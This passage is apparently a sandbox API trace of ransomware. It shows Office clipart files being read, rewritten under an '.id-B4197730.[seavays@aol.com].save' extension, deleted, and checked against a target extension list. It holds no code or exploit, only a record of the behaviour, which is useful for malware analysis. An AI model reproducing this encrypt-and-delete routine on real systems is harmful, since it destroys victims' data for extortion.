(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.873] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.873] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0182.875] GetLastError () returned 0x0 [0182.875] ReadFile (in: hFile=0x36c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2628, lpOverlapped=0x0) returned 1 [0182.878] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2630, lpOverlapped=0x0) returned 1 [0182.880] ReadFile (in: hFile=0x36c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0182.880] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0182.880] SetEndOfFile (hFile=0x444) returned 1 [0182.880] CloseHandle (hObject=0x444) returned 1 [0182.880] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.880] SetEndOfFile (hFile=0x36c) returned 1 [0182.884] CloseHandle (hObject=0x36c) returned 1 [0182.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 1 [0182.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0182.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0182.886] lstrlenW (lpString=".doc") returned 4 [0182.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.940] lstrlenW (lpString=".docx") returned 5 [0182.940] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0182.940] lstrlenW (lpString=".pdf") returned 4 [0182.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.940] lstrlenW (lpString=".xls") returned 4 [0182.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.940] lstrlenW (lpString=".xlsx") returned 5 [0182.940] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0182.940] lstrlenW (lpString=".ppt") returned 4 [0182.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0182.940] lstrlenW (lpString=".zip") returned 4 [0182.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.940] lstrlenW (lpString=".rar") returned 4 [0182.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.940] lstrlenW (lpString=".bz2") returned 4 [0182.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.940] lstrlenW (lpString=".7z") returned 3 [0182.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0182.940] lstrlenW (lpString=".dbf") returned 4 [0182.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0182.940] lstrlenW (lpString=".1cd") returned 4 [0182.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0182.941] lstrlenW (lpString=".jpg") returned 4 [0182.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.349] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.349] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.351] GetLastError () returned 0x0 [0183.351] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x40f8, lpOverlapped=0x0) returned 1 [0183.353] WriteFile (in: hFile=0x36c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x4100, lpOverlapped=0x0) returned 1 [0183.355] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0183.355] WriteFile (in: hFile=0x36c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0183.355] SetEndOfFile (hFile=0x36c) returned 1 [0183.355] CloseHandle (hObject=0x36c) returned 1 [0183.355] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.355] SetEndOfFile (hFile=0x530) returned 1 [0183.358] CloseHandle (hObject=0x530) returned 1 [0183.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0183.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0183.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0183.360] lstrlenW (lpString=".doc") returned 4 [0183.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.360] lstrlenW (lpString=".docx") returned 5 [0183.360] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0183.360] lstrlenW (lpString=".pdf") returned 4 [0183.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.361] lstrlenW (lpString=".xls") returned 4 [0183.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.361] lstrlenW (lpString=".xlsx") returned 5 [0183.361] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0183.361] lstrlenW (lpString=".ppt") returned 4 [0183.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0183.361] lstrlenW (lpString=".zip") returned 4 [0183.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.361] lstrlenW (lpString=".rar") returned 4 [0183.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.361] lstrlenW (lpString=".bz2") returned 4 [0183.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.361] lstrlenW (lpString=".7z") returned 3 [0183.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0183.361] lstrlenW (lpString=".dbf") returned 4 [0183.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0183.361] lstrlenW (lpString=".1cd") returned 4 [0183.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0183.361] lstrlenW (lpString=".jpg") returned 4 [0183.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.363] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5960) returned 1 [0183.363] CloseHandle (hObject=0x530) returned 1 [0183.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 0x220 [0183.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.365] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.365] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.366] GetLastError () returned 0x0 [0183.366] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1748, lpOverlapped=0x0) returned 1 [0183.367] WriteFile (in: hFile=0x36c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1750, lpOverlapped=0x0) returned 1 [0183.368] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0183.369] WriteFile (in: hFile=0x36c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0183.369] SetEndOfFile (hFile=0x36c) returned 1 [0183.369] CloseHandle (hObject=0x36c) returned 1 [0183.369] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.369] SetEndOfFile (hFile=0x530) returned 1 [0183.372] CloseHandle (hObject=0x530) returned 1 [0183.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 1 [0183.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0183.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0183.375] lstrlenW (lpString=".doc") returned 4 [0183.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.375] lstrlenW (lpString=".docx") returned 5 [0183.375] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0183.375] lstrlenW (lpString=".pdf") returned 4 [0183.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.375] lstrlenW (lpString=".xls") returned 4 [0183.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.375] lstrlenW (lpString=".xlsx") returned 5 [0183.375] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0183.375] lstrlenW (lpString=".ppt") returned 4 [0183.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0183.375] lstrlenW (lpString=".zip") returned 4 [0183.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.375] lstrlenW (lpString=".rar") returned 4 [0183.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.375] lstrlenW (lpString=".bz2") returned 4 [0183.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.375] lstrlenW (lpString=".7z") returned 3 [0183.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0183.375] lstrlenW (lpString=".dbf") returned 4 [0183.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0183.375] lstrlenW (lpString=".1cd") returned 4 [0183.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0183.376] lstrlenW (lpString=".jpg") returned 4 [0183.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.378] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=9604) returned 1 [0183.378] CloseHandle (hObject=0x530) returned 1 [0183.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 0x220 [0183.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.379] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.379] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.380] GetLastError () returned 0x0 [0183.380] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2584, lpOverlapped=0x0) returned 1 [0183.480] WriteFile (in: hFile=0x36c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2590, lpOverlapped=0x0) returned 1 [0183.482] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0183.482] WriteFile (in: hFile=0x36c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0183.482] SetEndOfFile (hFile=0x36c) returned 1 [0183.483] CloseHandle (hObject=0x36c) returned 1 [0183.483] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.483] SetEndOfFile (hFile=0x530) returned 1 [0183.487] CloseHandle (hObject=0x530) returned 1 [0183.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0183.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0183.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0183.867] lstrlenW (lpString=".doc") returned 4 [0183.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.867] lstrlenW (lpString=".docx") returned 5 [0183.867] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0183.867] lstrlenW (lpString=".pdf") returned 4 [0183.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.867] lstrlenW (lpString=".xls") returned 4 [0183.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.867] lstrlenW (lpString=".xlsx") returned 5 [0183.867] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0183.867] lstrlenW (lpString=".ppt") returned 4 [0183.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0183.867] lstrlenW (lpString=".zip") returned 4 [0183.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.867] lstrlenW (lpString=".rar") returned 4 [0183.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.867] lstrlenW (lpString=".bz2") returned 4 [0183.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.867] lstrlenW (lpString=".7z") returned 3 [0183.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0183.868] lstrlenW (lpString=".dbf") returned 4 [0183.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0183.868] lstrlenW (lpString=".1cd") returned 4 [0183.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0183.868] lstrlenW (lpString=".jpg") returned 4 [0183.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.869] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=26248) returned 1 [0183.869] CloseHandle (hObject=0x388) returned 1 [0183.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 0x220 [0183.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0183.871] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.871] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0183.873] GetLastError () returned 0x0 [0183.873] ReadFile (in: hFile=0x388, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x6688, lpOverlapped=0x0) returned 1 [0183.875] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x6690, lpOverlapped=0x0) returned 1 [0183.878] ReadFile (in: hFile=0x388, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0183.878] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0183.878] SetEndOfFile (hFile=0x374) returned 1 [0183.878] CloseHandle (hObject=0x374) returned 1 [0183.878] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.878] SetEndOfFile (hFile=0x388) returned 1 [0183.882] CloseHandle (hObject=0x388) returned 1 [0183.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0183.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0183.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0183.885] lstrlenW (lpString=".doc") returned 4 [0183.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.885] lstrlenW (lpString=".docx") returned 5 [0183.885] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0183.885] lstrlenW (lpString=".pdf") returned 4 [0183.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.901] lstrlenW (lpString=".xls") returned 4 [0183.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.901] lstrlenW (lpString=".xlsx") returned 5 [0183.901] lstrcmpiW (lpString1=".xlsx", 